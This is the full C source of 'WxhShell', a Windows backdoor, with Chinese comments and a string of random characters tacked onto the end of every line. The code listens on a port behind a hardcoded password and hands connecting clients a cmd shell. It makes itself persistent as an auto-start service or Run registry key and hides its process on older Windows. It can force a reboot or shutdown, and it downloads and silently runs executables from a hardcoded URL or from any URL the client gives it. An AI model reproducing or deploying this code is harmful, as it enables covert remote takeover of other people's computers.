    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &v1E)/q{Z  
    if(Boot(SHUTDOWN)) }`H{;A h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NS`hXf  
    else { Bw!J!cCj  
    closesocket(wsh); z;e@m2.IM  
    ExitThread(0); bpU> (j  
    } cZF|oZ6<  
    break; @4Bl&(3S  
    } Xf#;`*5  
  // 获取shell :E|Jqi\  
  case 's': { yHC[8l8%  
    CmdShell(wsh); WbhYGcRy  
    closesocket(wsh); xg^%8Ls^  
    ExitThread(0); SSla^,MHef  
    break; 2dKt}o>   
  } ^z{Xd|{"  
  // 退出 R[m{"2|,Lc  
  case 'x': { w6h83m 3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qN' 3{jiPL  
    CloseIt(wsh); H Q[  
    break; <oT1&C{  
    } B6TE9IoSb8  
  // 离开 5{+2#-  
  case 'q': { bx{njo1Mr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _K{- 1ZYsi  
    closesocket(wsh); v?6*n >R  
    WSACleanup(); e1JH N  
    exit(1); 'U ZzH$h  
    break; &s}sA+w  
        } G4'Ee5(o  
  } P*K"0[\n  
  } z^T;d^OJc  
m;rr7{7X  
  // 提示信息 -} j(_] t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nl,iz_2]  
} [bX ^_ Y  
  } W)D?8*  
:eD-'#@$u  
  return; _w %:PnO  
} n/*" 2  
V9Mr&8{S4  
// shell模块句柄 .{?; #Cdn  
int CmdShell(SOCKET sock) Ci 4c8  
{ )!E:  
STARTUPINFO si; !T:7xEr  
ZeroMemory(&si,sizeof(si)); I8T*_u^_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _7';1 D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U=j`RQ 9,  
PROCESS_INFORMATION ProcessInfo; XY9%aT*  
char cmdline[]="cmd"; X@Zt4)2#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U,T#{  
  return 0; Y?0x/2<  
} /y4A?*w6  
vRW;{,d  
// 自身启动模式 \r{wNqyv  
int StartFromService(void) t.RDS2N|  
{ AB+lM;_>  
typedef struct G.@K#a9  
{ "%dENK  
  DWORD ExitStatus; @gf <%>  
  DWORD PebBaseAddress; b%"/8rK  
  DWORD AffinityMask; lFIaC}  
  DWORD BasePriority; x5smJ__/  
  ULONG UniqueProcessId; -Q Mwtr#q}  
  ULONG InheritedFromUniqueProcessId; G)b:UJa"  
}   PROCESS_BASIC_INFORMATION; +8 \?7,FY  
EW4a@  
PROCNTQSIP NtQueryInformationProcess; IUh9skW5  
^2%)Nq;O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9{S$%D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; be_h uZ  
PGxv4(%  
  HANDLE             hProcess; y0O e)oP  
  PROCESS_BASIC_INFORMATION pbi; %G6x\[,  
?y>v"1+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a Iyzt  
  if(NULL == hInst ) return 0; -AVT+RE9z  
vlDA/( &  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O tQ]\:p7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l<S3<'&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $I#~<bW,  
Rc D5X{qS#  
  if (!NtQueryInformationProcess) return 0; fwzyCbks  
BonjK#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =F/R*5:T  
  if(!hProcess) return 0; i Pl/I  
zp'hA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?;5/"/i  
Nknd8>Hy+  
  CloseHandle(hProcess); Kc1w[EQ  
=)i^E9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y Kp@ n8A  
if(hProcess==NULL) return 0; L.K|]]u  
a5pM~.]  
HMODULE hMod; Pjvb}q=  
char procName[255]; rij%l+%@#  
unsigned long cbNeeded; ~mah.8G  
'aD"v>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wie0r@5E  
F8tMZ,:  
  CloseHandle(hProcess); .ty2! .  
5RO6YxQ  
if(strstr(procName,"services")) return 1; // 以服务启动 ).u>%4=6  
/Hm/%os  
  return 0; // 注册表启动 /J!hKK^k  
} &pz`gna  
e,#5I(E  
// 主模块 H D$`ZV  
int StartWxhshell(LPSTR lpCmdLine) A93(} V7I  
{ {LqYb:/C5U  
  SOCKET wsl; tId,Q>zH  
BOOL val=TRUE; lq`7$7-4  
  int port=0; @V Tw>=94  
  struct sockaddr_in door; Vz!{nL0Q(  
MDd 2B9cy[  
  if(wscfg.ws_autoins) Install(); I7|a,Q^f  
ev/)#i#s{  
port=atoi(lpCmdLine); R&P^rrC@B5  
?aTC+\=  
if(port<=0) port=wscfg.ws_port; CJ)u#PmkJ  
*?Wr^T  
  WSADATA data; ]eFNR1<OP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; km lb,P  
a #p`l>rx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X ) =-a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aGE} EK}  
  door.sin_family = AF_INET; vt(n: Xk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PT&qys 2k  
  door.sin_port = htons(port); @&Yl'&pn-R  
!>K=@9NC|.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dp} $q`F[  
closesocket(wsl); ~\u>jel  
return 1; m#6p=E  
} ~e){2_J&n  
yC|odX#  
  if(listen(wsl,2) == INVALID_SOCKET) { w`#9Re  
closesocket(wsl); SwrzW'%A  
return 1; B*QLKO:)i  
} o(3OChH  
  Wxhshell(wsl); LT,zk)5  
  WSACleanup(); { M[iYFg=  
%t:13eM  
return 0; %,Y^Tp  
R \y qM;2  
} cauKG@:2F  
7eZwpg?K  
// 以NT服务方式启动 Tn>L?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  @_WZZ  
{ md : Wx  
DWORD   status = 0; DC$> 5FDv  
  DWORD   specificError = 0xfffffff; j \ #y  
0\"]XYOH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y{tM|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,|UwZ_.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $"Ci{iE  
  serviceStatus.dwWin32ExitCode     = 0; oMq:4W,  
  serviceStatus.dwServiceSpecificExitCode = 0; ._'.F'd  
  serviceStatus.dwCheckPoint       = 0; ~"R;p}5 "  
  serviceStatus.dwWaitHint       = 0; ukD:4s v  
2Aa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W7T2j+]  
  if (hServiceStatusHandle==0) return; `j.-hy>s  
8D^ iQBA  
status = GetLastError(); |hu9)0 P  
  if (status!=NO_ERROR) akgvV~5  
{ +~lPf.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "#%9dWy  
    serviceStatus.dwCheckPoint       = 0; k>\s6  
    serviceStatus.dwWaitHint       = 0; 6?0QzSpfC#  
    serviceStatus.dwWin32ExitCode     = status; cI <T/~P  
    serviceStatus.dwServiceSpecificExitCode = specificError; c+1<3)Q<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eE0nW+i  
    return; \9:IL9~F  
  } _]+ \ B  
*zX^Sg-[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jH9.N4L  
  serviceStatus.dwCheckPoint       = 0; P&Hhq>@Z  
  serviceStatus.dwWaitHint       = 0; R}OjSiS\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w~e$ul(IQM  
} 6:G ::"ew  
IU]@%jA_:A  
// 处理NT服务事件,比如:启动、停止 eGbjk~,f'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pr1>:0dg  
{ 7 /DDQ  
switch(fdwControl) >?$qKu  
{ {r?Ly15  
case SERVICE_CONTROL_STOP: M_;hfpJZ  
  serviceStatus.dwWin32ExitCode = 0; N#X(gEV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >>h0(G|  
  serviceStatus.dwCheckPoint   = 0; ::Di  
  serviceStatus.dwWaitHint     = 0; P"+K'B7K3  
  { QUc&f+~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nN[QUg  
  } _w9 :([_  
  return; zids2/_*  
case SERVICE_CONTROL_PAUSE: <r8s= <:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U+ief?;4F  
  break; {'f=*vMI  
case SERVICE_CONTROL_CONTINUE: MrS~u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l;;"v) C8  
  break; r@H7J 5<Y-  
case SERVICE_CONTROL_INTERROGATE: cbX  <  
  break; KMV&c  
}; j"P}Wn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a0B,[i  
} -[5yp 2F-{  
g; ZVoD  
// 标准应用程序主函数 m<:g\_<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J|WkPv2  
{ Uv=hxV[7y  
|-vn,zpe  
// 获取操作系统版本 (d=knoo7A  
OsIsNt=GetOsVer(); 1Qo2Z;h@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R94 ID@LF  
C;eM:v0A[  
  // 从命令行安装 roWg~U(S  
  if(strpbrk(lpCmdLine,"iI")) Install(); o~p%ODH  
6^Ax3# q  
  // 下载执行文件 IdL~0;W7  
if(wscfg.ws_downexe) {  ZG-[Gz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cn8w}) B  
  WinExec(wscfg.ws_filenam,SW_HIDE); (>gHfC>(lq  
} dWDf(SS  
}!5+G:JAh  
if(!OsIsNt) { ]1i1_AR'`  
// 如果时win9x,隐藏进程并且设置为注册表启动 ':?MFkYC  
HideProc(); =:7OS>x  
StartWxhshell(lpCmdLine); &^b mZj!  
} An3%@;  
else 9]*hP](  
  if(StartFromService()) 7V7iIbi  
  // 以服务方式启动 (n~GKcA  
  StartServiceCtrlDispatcher(DispatchTable); t3FfPV!P"  
else bl`vT3  
  // 普通方式启动 L[p[m~HjG^  
  StartWxhshell(lpCmdLine); Eza B}BLQ9  
CB%O8d #  
return 0; p?4h2`P  
} $@4(Lq1.  
uSn<]OrZo`  
<S`N9a  
$_0~Jzt,  
=========================================== `]l*H3+hg  
HP eN0=7>  
81 /t)Cp  
%DF-;M"8  
C\C*'l6d  
M}b[;/~  
" Zjkrne{  
@G>Q(a*,  
#include <stdio.h> 'hH3d"a^=  
#include <string.h> 9..! g:  
#include <windows.h> *Z=:?4u  
#include <winsock2.h> j= Ebk;6p  
#include <winsvc.h> bG[)r  
#include <urlmon.h> N\WEp?%~  
j?cE0 hz  
#pragma comment (lib, "Ws2_32.lib") |c5r&oM&m  
#pragma comment (lib, "urlmon.lib") dd@-9?6M  
!Won<:.[0  
#define MAX_USER   100 // 最大客户端连接数 _^"0"<,  
#define BUF_SOCK   200 // sock buffer -H(\[{3{V  
#define KEY_BUFF   255 // 输入 buffer K#<cuHGC  
Ju 0  
#define REBOOT     0   // 重启 lQnqPQY  
#define SHUTDOWN   1   // 关机 B&k"B?9mL  
/qX=rlQ/n  
#define DEF_PORT   5000 // 监听端口 s.uV,E*wu  
|oI]  
#define REG_LEN     16   // 注册表键长度 $bT<8:g  
#define SVC_LEN     80   // NT服务名长度 P% ZCACzV  
OKp0@A)8  
// 从dll定义API {Kkut?5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (*\*7dIo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v08Xe*gNU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;`MKi5g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W|aFEY  
q_ |YLs`  
// wxhshell配置信息 aR}L- -m  
struct WSCFG { c$[cDf~  
  int ws_port;         // 监听端口 \gjY h2>  
  char ws_passstr[REG_LEN]; // 口令 0($ O1j~$  
  int ws_autoins;       // 安装标记, 1=yes 0=no y7)$~R):-  
  char ws_regname[REG_LEN]; // 注册表键名 yw9)^JU8"  
  char ws_svcname[REG_LEN]; // 服务名 .q^+llM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?* %J Gz_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f mQ`8b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S>s{t=AY~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %RF9R"t$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MTxe5ob`$Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r.T!R6v}  
hs  m%o\  
}; C:WXI;*cr  
+)eI8o0#  
// default Wxhshell configuration P,/=c(5\}  
struct WSCFG wscfg={DEF_PORT, ndU<,{r  
    "xuhuanlingzhe",  UX& ?^]  
    1, bzt(;>_8  
    "Wxhshell", P5^<c\Mr,Y  
    "Wxhshell", C0$KpUB  
            "WxhShell Service", *[^[!'kT&  
    "Wrsky Windows CmdShell Service", hLf<-NM  
    "Please Input Your Password: ", 7 P$>T  
  1, xJ18M@" j  
  "http://www.wrsky.com/wxhshell.exe", i{ " g 7  
  "Wxhshell.exe" :n} NQzs  
    }; |wFfVDp  
m$X0O_*A  
// 消息定义模块 qz .{[ l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +7]]=e<[E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {!`0i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z*Fxr;)d  
char *msg_ws_ext="\n\rExit."; zJ2dPp~u  
char *msg_ws_end="\n\rQuit."; )Kw Gb&l&  
char *msg_ws_boot="\n\rReboot..."; LyB &u( )  
char *msg_ws_poff="\n\rShutdown..."; AQH\ ;L  
char *msg_ws_down="\n\rSave to "; ]a}K%D)H  
,XJ Xw(LM  
char *msg_ws_err="\n\rErr!"; I Y='tw  
char *msg_ws_ok="\n\rOK!"; O4mSr{HCp  
oju}0h'1  
char ExeFile[MAX_PATH]; RZ#~^5DiO  
int nUser = 0; 3+j!{tJ z2  
HANDLE handles[MAX_USER]; a$r<%a6  
int OsIsNt; L(bYG0ZI5C  
(` N@4w=  
SERVICE_STATUS       serviceStatus; X pH]CF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =I}8-AS~V  
 XAb!hc   
// 函数声明 ^-yEb\\i  
int Install(void); dfss_}R  
int Uninstall(void); 4._ U  
int DownloadFile(char *sURL, SOCKET wsh); pW>?%ft.  
int Boot(int flag); cR0OJ'w  
void HideProc(void); ph;ds+b  
int GetOsVer(void); O~1vX9  
int Wxhshell(SOCKET wsl); ).BZPyV<  
void TalkWithClient(void *cs); ~$O.KF:  
int CmdShell(SOCKET sock); #:y h2y7a%  
int StartFromService(void); X?'v FC  
int StartWxhshell(LPSTR lpCmdLine); (rM-~h6g  
}?0At<(d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tTzPT<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =/J{>S>(i  
?=22@Q}g  
// 数据结构和表定义 I}&`IUP  
SERVICE_TABLE_ENTRY DispatchTable[] = srbU}u3VZ  
{ E mUA38  
{wscfg.ws_svcname, NTServiceMain}, =68CR[H  
{NULL, NULL} z,"fr%*,N  
}; f ;[\'_.*  
;ORT#7CU  
// 自我安装 q (?%$u.  
int Install(void) 0KQDw  
{ 8hK\Ya:mP  
  char svExeFile[MAX_PATH]; e95x,|.-_  
  HKEY key; + ~6Nq(kV  
  strcpy(svExeFile,ExeFile); 1m52vQSo3l  
2,nVo^13}  
// 如果是win9x系统,修改注册表设为自启动 ;U02VguC  
if(!OsIsNt) { 1${lHVx]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _.ny<r:g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xzqgem`[\  
  RegCloseKey(key); \,b@^W6e>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @.PVUP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lBbUA)z6  
  RegCloseKey(key); Z;nbnRz  
  return 0; ]Ywj@-*q  
    } SP,#KyWP0)  
  } UY)e6 Zd  
} 9&>)4HNd?  
else { ^,?dk![1Cv  
=sR]/XSK  
// 如果是NT以上系统,安装为系统服务 QL<uQ`>(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &g{b5x{iD  
if (schSCManager!=0)  o IUjd  
{ A1mxM5N  
  SC_HANDLE schService = CreateService )@X `B d  
  ( X/5\L.g2  
  schSCManager, K,VN?t <h  
  wscfg.ws_svcname, ) N8 [@  
  wscfg.ws_svcdisp, 5iG+O4n%  
  SERVICE_ALL_ACCESS, AS} FRNIVx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $[p<}o/6v]  
  SERVICE_AUTO_START, vbDSNm#Yv  
  SERVICE_ERROR_NORMAL, +, SUJ|  
  svExeFile, ugZ-*e7  
  NULL, HW{si]~q  
  NULL, {Q&@vbw'  
  NULL, zjzW;bo( d  
  NULL, Eagl7'x  
  NULL >O{[w'sWa  
  ); dKOW5\H'  
  if (schService!=0) ^^ Q'AE  
  { \Kx@?,  
  CloseServiceHandle(schService); (d L;A0L  
  CloseServiceHandle(schSCManager); u9t@%H)lZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XzX-Q'i=n0  
  strcat(svExeFile,wscfg.ws_svcname); O[N}@%HMW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *bl*R';  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k,~I>qg  
  RegCloseKey(key); HF3W,eaqK  
  return 0; QWo_Zg0"  
    } xHA6  
  } aaN|g{pX  
  CloseServiceHandle(schSCManager); w4:  
} 7 +RsZu  
} -|?I'~[#(  
[a\U8 w  
return 1; .=j]PckJO  
} :V(+]<  
7rc6  
// 自我卸载 jLANv{"  
int Uninstall(void) w3l+BUn:X  
{ P4M*vZq)  
  HKEY key; FD}hw9VyF@  
D[m+= -  
if(!OsIsNt) { ^!={=No]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /EN3>25"#  
  RegDeleteValue(key,wscfg.ws_regname); zyznFiE  
  RegCloseKey(key); X-tc Ud  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,[64$=R8  
  RegDeleteValue(key,wscfg.ws_regname); MOiTz L*  
  RegCloseKey(key); Ur`jmB  
  return 0; yFIB/ln:  
  } ?,_$;g  
} VSK!Pc.G}  
} v<*ga7'S  
else { 1eg/<4]hA  
CXb-{|I}d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -,M*j|   
if (schSCManager!=0) M^i^_}~S;  
{ _I("k:E7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 52*9q!  
  if (schService!=0) EJdl%j  
  { #HMJBQ4v#  
  if(DeleteService(schService)!=0) { F,t ,Ja  
  CloseServiceHandle(schService); 9@nDXZP Y&  
  CloseServiceHandle(schSCManager); QY]^^f  
  return 0; 'T(7EL3$}  
  } !+& Rn\e%7  
  CloseServiceHandle(schService); b(hnouS  
  } X~aD\%kC7  
  CloseServiceHandle(schSCManager); [d( @lbV0  
} ZyJdz+L{@V  
} -Y*"!8  
iIOA54!o  
return 1; UStNUNCq  
} fM[Qn*.  
{uurM` f}:  
// 从指定url下载文件 P1<Y7 +n  
int DownloadFile(char *sURL, SOCKET wsh) (*.t~6c?5  
{ l?F&I.{J  
  HRESULT hr; xQ4'$rL1d  
char seps[]= "/"; PT9,R^2T!  
char *token; :8}iZ.  
char *file; [fN?=,8  
char myURL[MAX_PATH]; "pb$[*_@$  
char myFILE[MAX_PATH]; YbMeSU/sX  
 _\H MF  
strcpy(myURL,sURL); nUAoPE  
  token=strtok(myURL,seps); $=7'Cm ?  
  while(token!=NULL) 4LO U[D  
  { 5t` :=@u  
    file=token; Pj4WWKX  
  token=strtok(NULL,seps); v6gfyGCJ  
  } ;#3l&HRKH1  
h0YIPB  
GetCurrentDirectory(MAX_PATH,myFILE); o"O=Epg  
strcat(myFILE, "\\"); bITc9Hqc  
strcat(myFILE, file); N5 BC<pu  
  send(wsh,myFILE,strlen(myFILE),0); K~j&Q{yws@  
send(wsh,"...",3,0); ZRDY `eK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0KW@j>=jK  
  if(hr==S_OK) zJp}JO  
return 0; R)>/P{ A-P  
else o80"ZU|=  
return 1; GpjyF_L  
%/l9$>{  
}  8>Y  
-ZTe#@J  
// 系统电源模块 I~LN)hqdo  
int Boot(int flag) P@ gVzx)M  
{ pYtG%<  
  HANDLE hToken; }b9"&io  
  TOKEN_PRIVILEGES tkp; (x} >tm  
L*k[Vc  
  if(OsIsNt) { zEG6T*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]0`*gKA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R{s&6  
    tkp.PrivilegeCount = 1; "62vwWrwO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9:|z^r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AlW0GK=N-p  
if(flag==REBOOT) { V SJGp`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tb^8jC  
  return 0; Nm{\?  
} .ZuRH_pI  
else { cC{eu[ XW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ls8@@b,t2  
  return 0; )ZxDfRjL  
} Xb0$BAP  
  } 72hN%l   
  else { d|GQZAEJEt  
if(flag==REBOOT) { p.{M sn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V3%"z  
  return 0; 3 ;M7^DM  
} {Y>5 [gp  
else { #6<  X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V$y6=Q <c  
  return 0; iV h^;  
} "m*.kB)e7  
} P`/;3u/P  
yc4?'k!  
return 1; -__RFxG  
} 9`83cL  
F`/-Q>Q  
// win9x进程隐藏模块 3\x@G)1  
void HideProc(void) `Gct_6  
{ Lk?%B)z  
Y ^s_v_s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |eN#9Bm  
  if ( hKernel != NULL ) A 1b</2  
  { qJjXN+/D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UDjmXQ2,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~7!=<MW  
    FreeLibrary(hKernel); \!!qzrq  
  } QucDIZ  
|Z]KF>S]  
return; l;*/F`>c  
} xvP=i/SO  
 ]/l"  
// 获取操作系统版本 "Di27Rq  
int GetOsVer(void) !Tc jJ2T  
{ ~d0:>8zQR  
  OSVERSIONINFO winfo; OT1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ |bN[XL  
  GetVersionEx(&winfo); 4( Q_J4}P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #[|~m;K(w  
  return 1; 4@2<dw|*h  
  else j7(sYo@x7  
  return 0;  {{hp;&x  
} B,Pbm|U1  
U GA_^?4  
// 客户端句柄模块 [i[*xf-B  
int Wxhshell(SOCKET wsl) 4?+K:e #F  
{ a`c#- je  
  SOCKET wsh; 4LG[i}u.N  
  struct sockaddr_in client; =>? ;Iv'Z  
  DWORD myID; j@N z  
CSKOtqKQ)  
  while(nUser<MAX_USER) C`G+b{o  
{ fL0dy[Ch@  
  int nSize=sizeof(client); 9((BOq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~ m/nV81  
  if(wsh==INVALID_SOCKET) return 1; Xk9mJ]31LC  
lk.]!K$}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wM$N#K@  
if(handles[nUser]==0) `ChS$p"A  
  closesocket(wsh); mf~Joluc J  
else a ~s:f5S>  
  nUser++; _&(\>{pm  
  } xwuGJ   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ B{F(~O  
v|!u]!JM  
  return 0; ;rggO0Y  
} /{)}y  
0bG[pp$[  
// 关闭 socket  Dno]N  
void CloseIt(SOCKET wsh) \ a#{Y/j3  
{ Cz1Q@<)  
closesocket(wsh); / @v V^!#1  
nUser--; 4>x$I9^Y!  
ExitThread(0); /"(`oe<  
} 1X8P v*,  
y4\(ynk  
// 客户端请求句柄 JfOBZQ  
void TalkWithClient(void *cs) a&^HvXO(>(  
{ ro&/  
Vy.gr4Cm  
  SOCKET wsh=(SOCKET)cs; EZ,Tc ;f=  
  char pwd[SVC_LEN]; 'CQ~ZV5  
  char cmd[KEY_BUFF]; iXoEdt)  
char chr[1]; yH=Hrz:<eM  
int i,j; q8m{zSr  
WGmXq.  
  while (nUser < MAX_USER) { gGaA;YW1  
8v<802  
if(wscfg.ws_passstr) { )WBp.j /#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c)*,">$#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ojc m%yd  
  //ZeroMemory(pwd,KEY_BUFF); n-"(lWcp  
      i=0; >PY Lk{q  
  while(i<SVC_LEN) { ?|i C-7{8L  
qjBF]3%t%  
  // 设置超时 Wg!<V6}  
  fd_set FdRead; c-`'`L^J  
  struct timeval TimeOut; ?[Sac]h ys  
  FD_ZERO(&FdRead); |o@xWs@m  
  FD_SET(wsh,&FdRead); q1a*6*YB  
  TimeOut.tv_sec=8; n 3eLIA{  
  TimeOut.tv_usec=0; ~=P#7l\o1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <r>1W~bp.q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \CU-a`n  
rSgOQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >g>L>{  
  pwd=chr[0]; T1-.+&<  
  if(chr[0]==0xd || chr[0]==0xa) { \ u*R6z  
  pwd=0; [ML|, kq!  
  break; ;aj4V<@  
  } .OM^@V~T  
  i++; op2<~v0?  
    } >;K!yI?0  
"Wb>y*S   
  // 如果是非法用户,关闭 socket Q4Zw<IZv5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H2jF=U"=  
} im-XP@<  
Z[ 53cVT^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LJgGX,Kp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v:IpZ;^  
iW?z2%#  
while(1) { <"hq}B  
)KdEl9o  
  ZeroMemory(cmd,KEY_BUFF); al{}_1XoU  
Nx;Oz  
      // 自动支持客户端 telnet标准   L^FQ|?*  
  j=0; z%q)}$O  
  while(j<KEY_BUFF) { a5k![sw\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p 2>\  
  cmd[j]=chr[0]; W9rmAQjn  
  if(chr[0]==0xa || chr[0]==0xd) { !hugn6  
  cmd[j]=0; f-BPT2U+  
  break; O}-+o1  
  } shZEE2Dr  
  j++; "$I8EW/1  
    } FyhLMW3  
:!QT ,  
  // 下载文件 5M&<tj/[a0  
  if(strstr(cmd,"http://")) { 6no&2a|D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ~LF/wx>  
  if(DownloadFile(cmd,wsh)) HkQ rij6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LOEiV  
  else >^~W'etX|  
